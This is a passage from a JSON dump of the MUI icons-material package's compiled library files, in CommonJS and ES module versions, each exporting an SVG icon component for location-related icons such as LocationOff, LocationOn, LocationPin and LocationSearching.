    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 13v-2h-2.06c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06c-.98.11-1.91.38-2.77.78l1.53 1.53C10.46 5.13 11.22 5 12 5c3.87 0 7 3.13 7 7 0 .79-.13 1.54-.37 2.24l1.53 1.53c.4-.86.67-1.79.78-2.77zM4.41 2.86 3 4.27l2.04 2.04C3.97 7.62 3.26 9.23 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c1.77-.2 3.38-.91 4.69-1.98L19.73 21l1.41-1.41zM12 19c-3.87 0-7-3.13-7-7 0-1.61.55-3.09 1.46-4.27l9.81 9.81C15.09 18.45 13.61 19 12 19\"\n}), 'LocationDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.5c1.38 0 2.5 1.12 2.5 2.5 0 .74-.33 1.39-.83 1.85l3.63 3.63c.98-1.86 1.7-3.8 1.7-5.48 0-3.87-3.13-7-7-7-1.98 0-3.76.83-5.04 2.15l3.19 3.19c.46-.52 1.11-.84 1.85-.84m4.37 9.6-4.63-4.63-.11-.11L3.27 3 2 4.27l3.18 3.18C5.07 7.95 5 8.47 5 9c0 5.25 7 13 7 13s1.67-1.85 3.38-4.35L18.73 21 20 19.73z\"\n}), 'LocationOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.5c1.38 0 2.5 1.12 2.5 2.5 0 .74-.33 1.39-.83 1.85l3.63 3.63c.98-1.86 1.7-3.8 1.7-5.48 0-3.87-3.13-7-7-7-1.98 0-3.76.83-5.04 2.15l3.19 3.19c.46-.52 1.11-.84 1.85-.84m4.37 9.6-4.63-4.63-.11-.11L3.27 3 2 4.27l3.18 3.18C5.07 7.95 5 8.47 5 9c0 5.25 7 13 7 13s1.67-1.85 3.38-4.35L18.73 21 20 19.73z\"\n}), 'LocationOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c2.76 0 5 2.24 5 5 0 1.06-.39 2.32-1 3.62l1.49 1.49C18.37 12.36 19 10.57 19 9c0-3.87-3.13-7-7-7-1.84 0-3.5.71-4.75 1.86l1.43 1.43C9.56 4.5 10.72 4 12 4m0 2.5c-.59 0-1.13.21-1.56.56l3.5 3.5c.35-.43.56-.97.56-1.56 0-1.38-1.12-2.5-2.5-2.5M3.41 2.86 2 4.27l3.18 3.18C5.07 7.95 5 8.47 5 9c0 5.25 7 13 7 13s1.67-1.85 3.38-4.35L18.73 21l1.41-1.41zM12 18.88c-2.01-2.58-4.8-6.74-4.98-9.59l6.92 6.92c-.65.98-1.33 1.89-1.94 2.67\"\n}), 'LocationOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c2.76 0 5 2.24 5 5 0 1.06-.39 2.32-1 3.62l1.49 1.49C18.37 12.36 19 10.57 19 9c0-3.87-3.13-7-7-7-1.84 0-3.5.71-4.75 1.86l1.43 1.43C9.56 4.5 10.72 4 12 4m0 2.5c-.59 0-1.13.21-1.56.56l3.5 3.5c.35-.43.56-.97.56-1.56 0-1.38-1.12-2.5-2.5-2.5M3.41 2.86 2 4.27l3.18 3.18C5.07 7.95 5 8.47 5 9c0 5.25 7 13 7 13s1.67-1.85 3.38-4.35L18.73 21l1.41-1.41zM12 18.88c-2.01-2.58-4.8-6.74-4.98-9.59l6.92 6.92c-.65.98-1.33 1.89-1.94 2.67\"\n}), 'LocationOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.71 3.56c-.39.39-.39 1.02 0 1.41l2.47 2.47C5.07 7.95 5 8.47 5 9c0 4.17 4.42 9.92 6.23 12.11.4.48 1.13.48 1.53 0 .65-.78 1.62-2.01 2.61-3.46l2.65 2.65c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.12 3.56a.996.996 0 0 0-1.41 0M12 2c-1.84 0-3.5.71-4.75 1.86l3.19 3.19c.43-.34.97-.55 1.56-.55 1.38 0 2.5 1.12 2.5 2.5 0 .59-.21 1.13-.56 1.56l3.55 3.55C18.37 12.36 19 10.57 19 9c0-3.87-3.13-7-7-7\"\n}), 'LocationOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.71 3.56c-.39.39-.39 1.02 0 1.41l2.47 2.47C5.07 7.95 5 8.47 5 9c0 4.17 4.42 9.92 6.23 12.11.4.48 1.13.48 1.53 0 .65-.78 1.62-2.01 2.61-3.46l2.65 2.65c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.12 3.56a.996.996 0 0 0-1.41 0M12 2c-1.84 0-3.5.71-4.75 1.86l3.19 3.19c.43-.34.97-.55 1.56-.55 1.38 0 2.5 1.12 2.5 2.5 0 .59-.21 1.13-.56 1.56l3.55 3.55C18.37 12.36 19 10.57 19 9c0-3.87-3.13-7-7-7\"\n}), 'LocationOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.41 2.86 2 4.27l3.18 3.18C5.07 7.95 5 8.47 5 9c0 5.25 7 13 7 13s1.67-1.85 3.38-4.35L18.73 21l1.41-1.41zM12 2c-1.84 0-3.5.71-4.75 1.86l3.19 3.19c.43-.34.97-.55 1.56-.55 1.38 0 2.5 1.12 2.5 2.5 0 .59-.21 1.13-.56 1.56l3.55 3.55C18.37 12.36 19 10.57 19 9c0-3.87-3.13-7-7-7\"\n}), 'LocationOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.41 2.86 2 4.27l3.18 3.18C5.07 7.95 5 8.47 5 9c0 5.25 7 13 7 13s1.67-1.85 3.38-4.35L18.73 21l1.41-1.41zM12 2c-1.84 0-3.5.71-4.75 1.86l3.19 3.19c.43-.34.97-.55 1.56-.55 1.38 0 2.5 1.12 2.5 2.5 0 .59-.21 1.13-.56 1.56l3.55 3.55C18.37 12.36 19 10.57 19 9c0-3.87-3.13-7-7-7\"\n}), 'LocationOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9c0 1.06-.39 2.32-1 3.62l1.49 1.49C18.37 12.36 19 10.57 19 9c0-3.87-3.13-7-7-7-1.84 0-3.5.71-4.75 1.86l1.43 1.43C9.56 4.5 10.72 4 12 4c2.76 0 5 2.24 5 5m-5-2.5c-.59 0-1.13.21-1.56.56l3.5 3.5c.35-.43.56-.97.56-1.56 0-1.38-1.12-2.5-2.5-2.5M3.41 2.86 2 4.27l3.18 3.18C5.07 7.95 5 8.47 5 9c0 5.25 7 13 7 13s1.67-1.85 3.38-4.35L18.73 21l1.41-1.41zM12 18.88c-2.01-2.58-4.8-6.74-4.98-9.59l6.92 6.92c-.65.98-1.33 1.89-1.94 2.67\"\n}), 'LocationOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9c0 1.06-.39 2.32-1 3.62l1.49 1.49C18.37 12.36 19 10.57 19 9c0-3.87-3.13-7-7-7-1.84 0-3.5.71-4.75 1.86l1.43 1.43C9.56 4.5 10.72 4 12 4c2.76 0 5 2.24 5 5m-5-2.5c-.59 0-1.13.21-1.56.56l3.5 3.5c.35-.43.56-.97.56-1.56 0-1.38-1.12-2.5-2.5-2.5M3.41 2.86 2 4.27l3.18 3.18C5.07 7.95 5 8.47 5 9c0 5.25 7 13 7 13s1.67-1.85 3.38-4.35L18.73 21l1.41-1.41zM12 18.88c-2.01-2.58-4.8-6.74-4.98-9.59l6.92 6.92c-.65.98-1.33 1.89-1.94 2.67\"\n}), 'LocationOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7m0 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'LocationOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7m0 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'LocationOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7M7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 2.88-2.88 7.19-5 9.88C9.92 16.21 7 11.85 7 9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \"2.5\"\n}, \"1\")], 'LocationOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7M7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 2.88-2.88 7.19-5 9.88C9.92 16.21 7 11.85 7 9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \"2.5\"\n}, \"1\")], 'LocationOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'LocationOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'LocationOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7m0 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'LocationOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7m0 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'LocationOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C9.24 4 7 6.24 7 9c0 2.85 2.92 7.21 5 9.88 2.11-2.69 5-7 5-9.88 0-2.76-2.24-5-5-5m0 7.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7M7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 2.88-2.88 7.19-5 9.88C9.92 16.21 7 11.85 7 9\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \"2.5\"\n}, \"2\")], 'LocationOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C9.24 4 7 6.24 7 9c0 2.85 2.92 7.21 5 9.88 2.11-2.69 5-7 5-9.88 0-2.76-2.24-5-5-5m0 7.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7M7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 2.88-2.88 7.19-5 9.88C9.92 16.21 7 11.85 7 9\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \"2.5\"\n}, \"2\")], 'LocationOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationPin.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 1.74.5 3.37 1.41 4.84.95 1.54 2.2 2.86 3.16 4.4.47.75.81 1.45 1.17 2.26.26.55.47 1.5 1.26 1.5s1-.95 1.25-1.5c.37-.81.7-1.51 1.17-2.26.96-1.53 2.21-2.85 3.16-4.4C18.5 12.37 19 10.74 19 9c0-3.87-3.13-7-7-7m0 9.75c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'LocationPin');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationPin.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 1.74.5 3.37 1.41 4.84.95 1.54 2.2 2.86 3.16 4.4.47.75.81 1.45 1.17 2.26.26.55.47 1.5 1.26 1.5s1-.95 1.25-1.5c.37-.81.7-1.51 1.17-2.26.96-1.53 2.21-2.85 3.16-4.4C18.5 12.37 19 10.74 19 9c0-3.87-3.13-7-7-7m0 9.75c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'LocationPin');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationSearching.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'LocationSearching');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationSearching.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'LocationSearching');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationSearchingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'LocationSearchingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationSearchingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'LocationSearchingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationSearchingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V2c0-.55-.45-1-1-1s-1 .45-1 1v1.06C6.83 3.52 3.52 6.83 3.06 11H2c-.55 0-1 .45-1 1s.45 1 1 1h1.06c.46 4.17 3.77 7.48 7.94 7.94V22c0 .55.45 1 1 1s1-.45 1-1v-1.06c4.17-.46 7.48-3.77 7.94-7.94H22c.55 0 1-.45 1-1s-.45-1-1-1zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'LocationSearchingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationSearchingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V2c0-.55-.45-1-1-1s-1 .45-1 1v1.06C6.83 3.52 3.52 6.83 3.06 11H2c-.55 0-1 .45-1 1s.45 1 1 1h1.06c.46 4.17 3.77 7.48 7.94 7.94V22c0 .55.45 1 1 1s1-.45 1-1v-1.06c4.17-.46 7.48-3.77 7.94-7.94H22c.55 0 1-.45 1-1s-.45-1-1-1zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'LocationSearchingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationSearchingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'LocationSearchingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationSearchingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'LocationSearchingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationSearchingTwoTone.js",
